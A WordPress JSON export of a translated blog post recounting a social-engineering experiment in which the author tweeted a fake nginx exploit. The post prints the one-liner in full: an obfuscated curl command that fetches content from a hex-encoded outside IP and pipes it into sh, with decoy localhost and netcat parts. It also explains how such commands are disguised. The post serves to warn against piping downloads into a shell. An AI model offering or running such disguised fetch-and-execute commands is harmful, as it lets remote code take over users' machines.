{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"The success of a social experiment with a fake exploit for nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Note: translation.<\/b>: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\">Author<\/a><\/noindex> In an original note published on June 1, I decided to conduct an experiment in the environment of those interested in information security. To do this, I prepared a fake exploit for an undisclosed vulnerability in a web server and posted it on my Twitter account. My assumptions \u2014 to be immediately exposed by experts who would see the obvious deception in the code \u2014 not only did not come true\u2026 They surpassed all expectations, and in the opposite direction: the tweet received enormous support from numerous people who did not bother to check its content.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"The success of a social experiment with a fake exploit for nginx\" src=\"\/wp-content\/uploads\/2019\/06\/20ff08c6f541176c68ef2c689b989389.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\n<b>TL;DR: never use file piping in sh or bash. It's a great way to lose control of your computer.<\/b><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<p>I want to share with you a short story about a jokey PoC exploit that was created on May 31. It appeared rapidly in response to the news from <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">Alisa Esage Shevchenko<\/a><\/noindex>, a member of <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thezdi\">Zero Day Initiative<\/a><\/noindex> (ZDI), about the upcoming disclosure of a vulnerability in NGINX that leads to RCE (remote code execution). Since NGINX underpins many websites, the news was expected to have a bombshell effect. However, due to delays in the 'responsible disclosure' process, the details of what happened were not known \u2014 that is the standard procedure for ZDI.<\/p>\n<p><img decoding=\"async\" alt=\"The success of a social experiment with a fake exploit for nginx\" src=\"\/wp-content\/uploads\/2019\/06\/fba47177ff2a2d05db7942f229e145b0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\/status\/1134400951043874816\">The tweet<\/a><\/noindex> about the disclosure of the vulnerability in NGINX<\/i><\/p>\n<p>After finishing work on a new obfuscation technique in curl, I quoted the original tweet and 'leaked a working PoC' consisting of a single line of code that allegedly exploited the discovered vulnerability. Of course, it was complete nonsense. I thought I would be caught immediately and that at best I would get a couple of retweets (which would be fine).<\/p>\n<p><img decoding=\"async\" alt=\"The success of a social experiment with a fake exploit for nginx\" src=\"\/wp-content\/uploads\/2019\/06\/30c8394a4bd7a151828bc3459f18f2f6.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\/status\/1134559331989434368\">The tweet<\/a><\/noindex> with a fake exploit<\/i><\/p>\n<p>However, I could not imagine what happened next. The popularity of my tweet soared to the heavens. Surprisingly, as of now (3:00 PM MSK on June 1), very few people have realized it was a hoax. Many are retweeting it without any verification (not to mention admiring the lovely ASCII graphics it produces).<\/p>\n<p><img decoding=\"async\" alt=\"The success of a social experiment with a fake exploit for nginx\" src=\"\/wp-content\/uploads\/2019\/06\/a22501843edc07cf0dc49b698b1048c2.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Just look at the beauty!<\/i><\/p>\n<p>While all these loops and colors are impressive, it's clear that to see them, people ran the code on their machines. Fortunately, browsers work similarly, and given that I really don't need legal troubles, the code hidden on my site simply executed echo calls, without attempting to set or run any additional code.<\/p>\n<p>A brief aside: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/netspooky\">netspooky<\/a><\/noindex>, <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/dnoiz1\">dnz<\/a><\/noindex>, I and other guys from the <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thugcrowd\">Thugcrowd<\/a><\/noindex> team have been experimenting with various ways to obfuscate curl commands for some time because it's fun... and we're geeks. netspooky and dnz discovered several new methods that seemed extremely promising to me. I joined in on the fun and tried to incorporate IP decimal transformations into the trick set. It turned out that IPs can also be converted to hexadecimal format. Moreover, curl and most other NIX tools happily 'consume' hexadecimal IPs! Thus, it was just a matter of creating a convincing and safe-looking command line. Ultimately, I settled on this:<\/p>\n<pre><code class=\"plaintext\">curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh&lt;&#039;protocol:TCP&#039; -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n<p><\/p>\n<h2>Socio-Electronic Engineering (S.E.E.) \u2014 more than just phishing<\/h2>\n<p>\nSecurity and familiarity were pivotal to this experiment. I think they were key to its success. The command line clearly implied security by referencing '127.0.0.1' (the well-known localhost). It's considered that localhost is safe, and the data on it never leaves your computer.<\/p>\n<p>Familiarity was the second key component of the S.E.E. experiment. Since the target audience mainly consisted of people familiar with the basics of computer security, it was important to create code parts that seemed familiar and thereby safe. Borrowing elements from old exploit concepts and combining them in unusual ways proved quite successful.<\/p>\n<p>Below is a detailed breakdown of the one-liner. <i>Everything on this list is <b>cosmetic<\/b>, and practically nothing is required for its real functioning.<\/i><\/p>\n<p>So which components are really necessary? They are <code>-gsS<\/code>, <code>-O 0x0238f06a<\/code>, <code>|sh<\/code> and the web server itself. The web server did not contain any malicious instructions, it simply transmitted ASCII graphics using commands <code>echo<\/code> in the script contained in <code>index.html<\/code>. When the user entered a string with <code>|sh<\/code> in the middle, <code>index.html<\/code> it was loaded and executed. Fortunately, the web server custodians had no evil intentions.<\/p>\n<ul>\n<li> <code>..\/..\/..\/%00<\/code> \u2014 depicts an escape from the directory;<\/li>\n<li> <code>ngx_stream_module.so<\/code> \u2014 the path to a random NGINX module;<\/li>\n<li> <code>\/bin\/sh%00&lt;'protocol:TCP'<\/code> \u2014 we supposedly run <code>\/bin\/sh<\/code> on the target machine and redirect the output to a TCP channel;<\/li>\n<li> <code>-O 0x0238f06a#PLToffset<\/code> \u2014 a secret ingredient, augmented <code>#PLToffset<\/code>, to appear as a memory offset somehow contained in the PLT;<\/li>\n<li> <code>|sh;<\/code> \u2014 another important fragment. We needed to redirect the output to sh\/bash to execute the code coming from the attacking web server located at <code>0x0238f06a<\/code> (<code>2.56.240.x<\/code>);<\/li>\n<li> <code>nc \/dev\/tcp\/localhost<\/code> \u2014 a dummy, where netcat refers to <code>\/dev\/tcp\/localhost<\/code>, to make everything look safe again. In reality, it does nothing and is included in the line for show.<\/li>\n<\/ul>\n<p>\nThis concludes the deconstruction of the one-liner script and the discussion of 'socio-electronic engineering' (intricate phishing).<\/p>\n<h2>Web Server Configuration and Countermeasures<\/h2>\n<p>\nSince the overwhelming majority of my subscribers are information security experts\/hackers, I decided to make the web server a bit more resilient to manifestations of 'interest' from their side just to give them something to do (plus, setting it up was fun). I\u2019m not going to list all the traps here since the experiment is still ongoing, but here are a few things the server does:<\/p>\n<ul>\n<li> Actively tracks attempts to spread on certain social networks and injects various preview thumbnails to encourage the user to click the link.<\/li>\n<li> Redirects Chrome\/Mozilla\/Safari\/etc. to a Thugcrowd promo video instead of showing the shell script.<\/li>\n<li> Monitors for CLEAR signs of intrusion\/brute force attacks, after which it starts redirecting requests to NSA servers (ha!).<\/li>\n<li> Installs a Trojan as well as a BIOS rootkit on all computers whose users visit the host from a regular browser (just kidding!).<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"The success of a social experiment with a fake exploit for nginx\" src=\"\/wp-content\/uploads\/2019\/06\/8ea3f0c6e2e303bef6f9ba73370d6cf1.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>A small part of the antimer<\/i><\/p>\n<p>In this case, my only goal was to master some capabilities of Apache \u2014 specifically, cool request redirect rules \u2014 and I thought: why not?<\/p>\n<h2>NGINX Exploit (real!)<\/h2>\n<p>\nFollow <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">@alisaesage<\/a><\/noindex> Follow ZDI's remarkable work on resolving real vulnerabilities and exploit opportunities in NGINX on Twitter. Their efforts have always fascinated me, and I\u2019m grateful to Alice for her patience regarding all the mentions and notifications caused by my silly tweet. Fortunately, it brought some benefit: it helped raise awareness about NGINX vulnerabilities and the issues caused by the misuse of curl.<br \/>\n<br \/>Source: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/454700\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0431\u044b\u0442\u044c \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c\u2026 \u041e\u043d\u0438 \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f, [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":26410,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-35126","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Success of the social experiment with a fake exploit for nginx | ProHoster","description":"Example.","canonical_url":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"en_US","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:02:28+00:00","article:modified_time":"2019-10-31T19:02:28+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"35126","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-21 21:57:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 22:59:48","updated":"2026-01-21 21:57:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/35126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/comments?post=35126"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/35126\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media\/26410"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media?parent=35126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/categories?post=35126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/tags?post=35126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}